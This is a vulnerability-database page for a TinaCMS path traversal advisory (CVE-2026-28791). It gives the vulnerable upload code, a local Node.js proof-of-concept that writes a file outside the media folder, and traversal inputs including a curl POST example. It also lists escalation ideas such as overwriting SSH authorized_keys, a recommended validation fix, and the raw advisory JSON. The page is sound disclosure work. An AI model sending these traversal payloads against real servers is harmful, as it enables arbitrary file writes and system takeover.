Vulnerability-Lookup

GHSA-5HXF-C7J4-279C

Vulnerability from github – Published: 2026-03-12 18:32 – Updated: 2026-03-12 18:32

Summary

Tina: Path Traversal in Media Upload Handle

Details

Affected Package

Field	Value
Package	`@tinacms/cli`
Version	`2.0.5` (latest at time of discovery)
Vulnerable File	`packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts`
Vulnerable Lines	42-43

Summary

A path traversal vulnerability (CWE-22) exists in the TinaCMS development server's media upload handler. The code at media.ts:42-43 joins user-controlled path segments using path.join() without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem.

Attack Vector: Network (HTTP POST request)
Impact: Arbitrary file write, potential Remote Code Execution

Details

Vulnerable Code Location

File: packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts
Lines: 42-43

bb.on('file', async (_name, file, _info) => {
  const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));  // Line 42
  const saveTo = path.join(mediaFolder, ...fullPath.split('/'));        // Line 43
  // make sure the directory exists before writing the file
  await fs.ensureDir(path.dirname(saveTo));
  file.pipe(fs.createWriteStream(saveTo));
});

Root Cause

The path.join() function resolves .. (parent directory) segments in the path. When the user-supplied path contains traversal sequences like ../../../etc/passwd, these are resolved relative to the media folder, allowing escape to arbitrary filesystem locations.

Example:

const mediaFolder = '/app/public/uploads';
const maliciousInput = '../../../tmp/evil.txt';
const saveTo = path.join(mediaFolder, ...maliciousInput.split('/'));
// Result: '/tmp/evil.txt' - OUTSIDE the media folder!

Additional Affected Endpoints

The same vulnerability pattern exists in:

Delete Handler (handleDelete, lines 29-33) - Arbitrary file deletion
List Handler (handleList, lines 16-27) + MediaModel.listMedia - Directory enumeration
MediaModel.deleteMedia (lines 201-217) - Arbitrary file deletion

Similar code also exists in the Express version at: - packages/@tinacms/cli/src/server/routes/index.ts - packages/@tinacms/cli/src/server/models/media.ts

PoC

Quick Verification (No Server Required)

This Node.js script directly tests the vulnerable code logic:

#!/usr/bin/env node
/**
 * TinaCMS Path Traversal Vulnerability - Direct Code Test
 * Run: node test-vulnerability.js
 */

const path = require('path');
const fs = require('fs');

// Simulated configuration (matches typical TinaCMS setup)
const rootPath = '/tmp/tinacms-test';
const publicFolder = 'public';
const mediaRoot = 'uploads';
const mediaFolder = path.join(rootPath, publicFolder, mediaRoot);

// Setup test directories
fs.mkdirSync(path.join(rootPath, publicFolder, mediaRoot), { recursive: true });
fs.mkdirSync('/tmp/target-dir', { recursive: true });

console.log(`Media folder: ${mediaFolder}`);

// Simulate vulnerable code from media.ts:42-43
function vulnerableUpload(reqUrl) {
    const fullPath = decodeURI(reqUrl.slice('/media/upload/'.length));
    const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
    return saveTo;
}

// Test cases
const tests = [
    { url: '/media/upload/image.png', desc: 'Normal upload' },
    { url: '/media/upload/../../../tmp/target-dir/evil.txt', desc: 'Path traversal' },
];

tests.forEach(test => {
    const result = vulnerableUpload(test.url);
    const isVuln = !path.resolve(result).startsWith(path.resolve(mediaFolder));

    console.log(`\n${test.desc}:`);
    console.log(`  Input: ${test.url}`);
    console.log(`  Result: ${result}`);
    console.log(`  Vulnerable: ${isVuln ? 'YES ⚠️' : 'No ✓'}`);

    if (isVuln) {
        // Actually write the file to prove it works
        fs.mkdirSync(path.dirname(result), { recursive: true });
        fs.writeFileSync(result, `PWNED at ${new Date().toISOString()}`);
        console.log(`  File written: ${fs.existsSync(result)}`);
    }
});

// Cleanup
fs.rmSync(rootPath, { recursive: true, force: true });

Output

Media folder: /tmp/tinacms-test/public/uploads

Normal upload:
  Input: /media/upload/image.png
  Result: /tmp/tinacms-test/public/uploads/image.png
  Vulnerable: No ✓

Path traversal:
  Input: /media/upload/../../../tmp/target-dir/evil.txt
  Result: /tmp/tmp/target-dir/evil.txt
  Vulnerable: YES ⚠️
  File written: true

The file was successfully written to /tmp/tmp/target-dir/evil.txt, which is completely outside the intended media folder at /tmp/tinacms-test/public/uploads.

Important Note: HTTP Layer vs Code Vulnerability

I want to be transparent about my findings:

What I observed: - When testing via HTTP requests against the Vite dev server, path traversal sequences (../) are normalized by Node.js/Vite's HTTP layer before reaching the vulnerable code - This means direct HTTP exploitation like curl POST /media/upload/../../../tmp/evil.txt is mitigated in the default configuration

Why this is still a valid vulnerability that should be fixed:

The code itself has no validation - If the path reaches the handler (via any vector), it will be exploited
Defense-in-depth principle - Security should not rely solely on HTTP normalization
Inconsistent protection - Your GraphQL layer (addPendingDocument) explicitly validates paths and rejects ../ (see test at packages/@tinacms/graphql/tests/pending-document-validation/index.test.ts:59), but the media endpoints don't have equivalent protection
Different deployment contexts:
Reverse proxies (nginx, Apache) with proxy_pass may preserve raw paths
Custom server configurations
Future refactoring that uses this code differently
The parseMediaFolder helper (line 66-74) shows intent to restrict paths - the upload handler should have similar restrictions
Express version also affected - packages/@tinacms/cli/src/server/routes/index.ts has the same pattern

Evidence That Path Traversal Should Be Blocked

Your codebase already shows that path traversal is considered a security issue:

// From: packages/@tinacms/graphql/tests/pending-document-validation/index.test.ts:52-70
it('handles validation error for invalid path format', async () => {
  const { query } = await setupMutation(__dirname, config);

  const invalidPathMutation = `
    mutation {
      addPendingDocument(
        collection: "post"
        relativePath: "../invalid-path.md"  // <-- Path traversal is rejected!
      ) {
        __typename
      }
    }
  `;

  const result = await query({ query: invalidPathMutation, variables: {} });

  expect(result.errors).toBeDefined();
  expect(result.errors?.length).toBeGreaterThan(0);
});

This test explicitly verifies that ../invalid-path.md is rejected in the GraphQL layer. The media upload endpoints should have the same protection.

Impact

Who is Affected

Developers running TinaCMS in development mode
Any deployment exposing the TinaCMS dev server API
Particularly concerning if dev servers are exposed to networks (common for mobile testing)

Potential Attack Scenarios

Remote Code Execution: Write malicious files to executable locations
Overwrite ~/.ssh/authorized_keys for SSH access
Modify application source code
Create cron jobs or systemd services
Denial of Service: Delete critical application or system files
Information Disclosure: List directory contents outside the media folder

CVSS Score Estimate

CVSS 3.1 Base Score: 8.1 (High) - Attack Vector: Network (AV:N) - Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N) - User Interaction: None (UI:N) - Scope: Unchanged (S:U) - Confidentiality: None (C:N) - Integrity: High (I:H) - Availability: High (A:H)

Recommended Fix

Add path validation to ensure the resolved path stays within the media directory:

import path from 'path';

const handlePost = async function (req, res) {
  const bb = busboy({ headers: req.headers });

  bb.on('file', async (_name, file, _info) => {
    const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));
    const saveTo = path.join(mediaFolder, ...fullPath.split('/'));

    // ✅ SECURITY FIX: Validate path stays within media folder
    const resolvedPath = path.resolve(saveTo);
    const resolvedMediaFolder = path.resolve(mediaFolder);

    if (!resolvedPath.startsWith(resolvedMediaFolder + path.sep)) {
      res.statusCode = 403;
      res.end(JSON.stringify({ error: 'Invalid file path' }));
      return;
    }

    await fs.ensureDir(path.dirname(saveTo));
    file.pipe(fs.createWriteStream(saveTo));
  });

  // ... rest of handler
};

The same fix should be applied to: - handleDelete function - handleList function
- MediaModel.listMedia method - MediaModel.deleteMedia method - Express router in packages/@tinacms/cli/src/server/

Alternative: Create a Validation Helper

function validateMediaPath(userPath: string, mediaFolder: string): string {
  const resolved = path.resolve(path.join(mediaFolder, ...userPath.split('/')));
  const resolvedBase = path.resolve(mediaFolder);

  if (!resolved.startsWith(resolvedBase + path.sep) && resolved !== resolvedBase) {
    throw new Error('Path traversal detected');
  }

  return resolved;
}

References

Severity ?

7.4 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tinacms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28791"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T18:32:38Z",
    "nvd_published_at": "2026-03-12T17:16:50Z",
    "severity": "HIGH"
  },
  "details": "## Affected Package\n\n| Field | Value |\n|-------|-------|\n| **Package** | `@tinacms/cli` |\n| **Version** | `2.0.5` (latest at time of discovery) |\n| **Vulnerable File** | `packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts` |\n| **Vulnerable Lines** | 42-43 |\n\n---\n\n## Summary\n\nA **path traversal vulnerability (CWE-22)** exists in the TinaCMS development server\u0027s media upload handler. The code at `media.ts:42-43` joins user-controlled path segments using `path.join()` without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem.\n\n**Attack Vector**: Network (HTTP POST request)  \n**Impact**: Arbitrary file write, potential Remote Code Execution\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File**: `packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts`  \n**Lines**: 42-43\n\n```typescript\nbb.on(\u0027file\u0027, async (_name, file, _info) =\u003e {\n  const fullPath = decodeURI(req.url?.slice(\u0027/media/upload/\u0027.length));  // Line 42\n  const saveTo = path.join(mediaFolder, ...fullPath.split(\u0027/\u0027));        // Line 43\n  // make sure the directory exists before writing the file\n  await fs.ensureDir(path.dirname(saveTo));\n  file.pipe(fs.createWriteStream(saveTo));\n});\n```\n\n### Root Cause\n\nThe `path.join()` function resolves `..` (parent directory) segments in the path. When the user-supplied path contains traversal sequences like `../../../etc/passwd`, these are resolved relative to the media folder, allowing escape to arbitrary filesystem locations.\n\n**Example**:\n```javascript\nconst mediaFolder = \u0027/app/public/uploads\u0027;\nconst maliciousInput = \u0027../../../tmp/evil.txt\u0027;\nconst saveTo = path.join(mediaFolder, ...maliciousInput.split(\u0027/\u0027));\n// Result: \u0027/tmp/evil.txt\u0027 - OUTSIDE the media folder!\n```\n\n### Additional Affected Endpoints\n\nThe same vulnerability pattern exists in:\n\n1. **Delete Handler** (`handleDelete`, lines 29-33) - Arbitrary file deletion\n2. **List Handler** (`handleList`, lines 16-27) + `MediaModel.listMedia` - Directory enumeration\n3. **MediaModel.deleteMedia** (lines 201-217) - Arbitrary file deletion\n\nSimilar code also exists in the Express version at:\n- `packages/@tinacms/cli/src/server/routes/index.ts`\n- `packages/@tinacms/cli/src/server/models/media.ts`\n\n---\n\n## PoC\n\n### Quick Verification (No Server Required)\n\nThis Node.js script directly tests the vulnerable code logic:\n\n```javascript\n#!/usr/bin/env node\n/**\n * TinaCMS Path Traversal Vulnerability - Direct Code Test\n * Run: node test-vulnerability.js\n */\n\nconst path = require(\u0027path\u0027);\nconst fs = require(\u0027fs\u0027);\n\n// Simulated configuration (matches typical TinaCMS setup)\nconst rootPath = \u0027/tmp/tinacms-test\u0027;\nconst publicFolder = \u0027public\u0027;\nconst mediaRoot = \u0027uploads\u0027;\nconst mediaFolder = path.join(rootPath, publicFolder, mediaRoot);\n\n// Setup test directories\nfs.mkdirSync(path.join(rootPath, publicFolder, mediaRoot), { recursive: true });\nfs.mkdirSync(\u0027/tmp/target-dir\u0027, { recursive: true });\n\nconsole.log(`Media folder: ${mediaFolder}`);\n\n// Simulate vulnerable code from media.ts:42-43\nfunction vulnerableUpload(reqUrl) {\n    const fullPath = decodeURI(reqUrl.slice(\u0027/media/upload/\u0027.length));\n    const saveTo = path.join(mediaFolder, ...fullPath.split(\u0027/\u0027));\n    return saveTo;\n}\n\n// Test cases\nconst tests = [\n    { url: \u0027/media/upload/image.png\u0027, desc: \u0027Normal upload\u0027 },\n    { url: \u0027/media/upload/../../../tmp/target-dir/evil.txt\u0027, desc: \u0027Path traversal\u0027 },\n];\n\ntests.forEach(test =\u003e {\n    const result = vulnerableUpload(test.url);\n    const isVuln = !path.resolve(result).startsWith(path.resolve(mediaFolder));\n    \n    console.log(`\\n${test.desc}:`);\n    console.log(`  Input: ${test.url}`);\n    console.log(`  Result: ${result}`);\n    console.log(`  Vulnerable: ${isVuln ? \u0027YES \u26a0\ufe0f\u0027 : \u0027No \u2713\u0027}`);\n    \n    if (isVuln) {\n        // Actually write the file to prove it works\n        fs.mkdirSync(path.dirname(result), { recursive: true });\n        fs.writeFileSync(result, `PWNED at ${new Date().toISOString()}`);\n        console.log(`  File written: ${fs.existsSync(result)}`);\n    }\n});\n\n// Cleanup\nfs.rmSync(rootPath, { recursive: true, force: true });\n```\n\n### Output\n\n```\nMedia folder: /tmp/tinacms-test/public/uploads\n\nNormal upload:\n  Input: /media/upload/image.png\n  Result: /tmp/tinacms-test/public/uploads/image.png\n  Vulnerable: No \u2713\n\nPath traversal:\n  Input: /media/upload/../../../tmp/target-dir/evil.txt\n  Result: /tmp/tmp/target-dir/evil.txt\n  Vulnerable: YES \u26a0\ufe0f\n  File written: true\n```\n\nThe file was successfully written to `/tmp/tmp/target-dir/evil.txt`, which is **completely outside** the intended media folder at `/tmp/tinacms-test/public/uploads`.\n\n### Important Note: HTTP Layer vs Code Vulnerability\n\nI want to be transparent about my findings:\n\n**What I observed:**\n- When testing via HTTP requests against the Vite dev server, path traversal sequences (`../`) are normalized by Node.js/Vite\u0027s HTTP layer *before* reaching the vulnerable code\n- This means direct HTTP exploitation like `curl POST /media/upload/../../../tmp/evil.txt` is mitigated in the default configuration\n\n**Why this is still a valid vulnerability that should be fixed:**\n\n1. **The code itself has no validation** - If the path reaches the handler (via any vector), it will be exploited\n2. **Defense-in-depth principle** - Security should not rely solely on HTTP normalization\n3. **Inconsistent protection** - Your GraphQL layer (`addPendingDocument`) explicitly validates paths and rejects `../` (see test at `packages/@tinacms/graphql/tests/pending-document-validation/index.test.ts:59`), but the media endpoints don\u0027t have equivalent protection\n4. **Different deployment contexts**:\n   - Reverse proxies (nginx, Apache) with `proxy_pass` may preserve raw paths\n   - Custom server configurations\n   - Future refactoring that uses this code differently\n5. **The `parseMediaFolder` helper** (line 66-74) shows intent to restrict paths - the upload handler should have similar restrictions\n6. **Express version also affected** - `packages/@tinacms/cli/src/server/routes/index.ts` has the same pattern\n\n---\n\n### Evidence That Path Traversal Should Be Blocked\n\nYour codebase already shows that path traversal is considered a security issue:\n\n```typescript\n// From: packages/@tinacms/graphql/tests/pending-document-validation/index.test.ts:52-70\nit(\u0027handles validation error for invalid path format\u0027, async () =\u003e {\n  const { query } = await setupMutation(__dirname, config);\n\n  const invalidPathMutation = `\n    mutation {\n      addPendingDocument(\n        collection: \"post\"\n        relativePath: \"../invalid-path.md\"  // \u003c-- Path traversal is rejected!\n      ) {\n        __typename\n      }\n    }\n  `;\n\n  const result = await query({ query: invalidPathMutation, variables: {} });\n\n  expect(result.errors).toBeDefined();\n  expect(result.errors?.length).toBeGreaterThan(0);\n});\n```\n\nThis test explicitly verifies that `../invalid-path.md` is rejected in the GraphQL layer. The media upload endpoints should have the same protection.\n\n---\n\n## Impact\n\n### Who is Affected\n\n- Developers running TinaCMS in development mode\n- Any deployment exposing the TinaCMS dev server API\n- Particularly concerning if dev servers are exposed to networks (common for mobile testing)\n\n### Potential Attack Scenarios\n\n1. **Remote Code Execution**: Write malicious files to executable locations\n   - Overwrite `~/.ssh/authorized_keys` for SSH access\n   - Modify application source code\n   - Create cron jobs or systemd services\n\n2. **Denial of Service**: Delete critical application or system files\n\n3. **Information Disclosure**: List directory contents outside the media folder\n\n### CVSS Score Estimate\n\n**CVSS 3.1 Base Score: 8.1 (High)**\n- Attack Vector: Network (AV:N)\n- Attack Complexity: Low (AC:L)  \n- Privileges Required: None (PR:N)\n- User Interaction: None (UI:N)\n- Scope: Unchanged (S:U)\n- Confidentiality: None (C:N)\n- Integrity: High (I:H)\n- Availability: High (A:H)\n\n---\n\n## Recommended Fix\n\nAdd path validation to ensure the resolved path stays within the media directory:\n\n```typescript\nimport path from \u0027path\u0027;\n\nconst handlePost = async function (req, res) {\n  const bb = busboy({ headers: req.headers });\n\n  bb.on(\u0027file\u0027, async (_name, file, _info) =\u003e {\n    const fullPath = decodeURI(req.url?.slice(\u0027/media/upload/\u0027.length));\n    const saveTo = path.join(mediaFolder, ...fullPath.split(\u0027/\u0027));\n\n    // \u2705 SECURITY FIX: Validate path stays within media folder\n    const resolvedPath = path.resolve(saveTo);\n    const resolvedMediaFolder = path.resolve(mediaFolder);\n\n    if (!resolvedPath.startsWith(resolvedMediaFolder + path.sep)) {\n      res.statusCode = 403;\n      res.end(JSON.stringify({ error: \u0027Invalid file path\u0027 }));\n      return;\n    }\n\n    await fs.ensureDir(path.dirname(saveTo));\n    file.pipe(fs.createWriteStream(saveTo));\n  });\n  \n  // ... rest of handler\n};\n```\n\nThe same fix should be applied to:\n- `handleDelete` function\n- `handleList` function  \n- `MediaModel.listMedia` method\n- `MediaModel.deleteMedia` method\n- Express router in `packages/@tinacms/cli/src/server/`\n\n### Alternative: Create a Validation Helper\n\n```typescript\nfunction validateMediaPath(userPath: string, mediaFolder: string): string {\n  const resolved = path.resolve(path.join(mediaFolder, ...userPath.split(\u0027/\u0027)));\n  const resolvedBase = path.resolve(mediaFolder);\n  \n  if (!resolved.startsWith(resolvedBase + path.sep) \u0026\u0026 resolved !== resolvedBase) {\n    throw new Error(\u0027Path traversal detected\u0027);\n  }\n  \n  return resolved;\n}\n```\n\n---\n\n## References\n\n- [CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)](https://cwe.mitre.org/data/definitions/22.html)\n- [OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n- [Node.js path.join() Documentation](https://nodejs.org/api/path.html#pathjoinpaths)\n- [OWASP Testing Guide - Path Traversal](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include)",
  "id": "GHSA-5hxf-c7j4-279c",
  "modified": "2026-03-12T18:32:38Z",
  "published": "2026-03-12T18:32:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-5hxf-c7j4-279c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28791"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tina: Path Traversal in Media Upload Handle"
}

CVE-2026-28791 (GCVE-0-2026-28791)

Vulnerability from cvelistv5 – Published: 2026-03-12 16:55 – Updated: 2026-03-13 16:27

Title

Path Traversal in Media Upload Handle in Tina

Summary

Tina is a headless content management system. Prior to 2.1.7, a path traversal vulnerability exists in the TinaCMS development server's media upload handler. The code at media.ts joins user-controlled path segments using path.join() without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem. This vulnerability is fixed in 2.1.7.

Severity ?

7.4 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	tinacms	tinacms	Affected: < 2.1.7

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-5HXF-C7J4-279C

Affected Package

Summary

Details

Vulnerable Code Location

Root Cause

Additional Affected Endpoints

PoC

Quick Verification (No Server Required)

Output

Important Note: HTTP Layer vs Code Vulnerability

Evidence That Path Traversal Should Be Blocked

Impact

Who is Affected

Potential Attack Scenarios

CVSS Score Estimate

Recommended Fix

Alternative: Create a Validation Helper

References

CVE-2026-28791 (GCVE-0-2026-28791)

Tags

Sightings

Nomenclature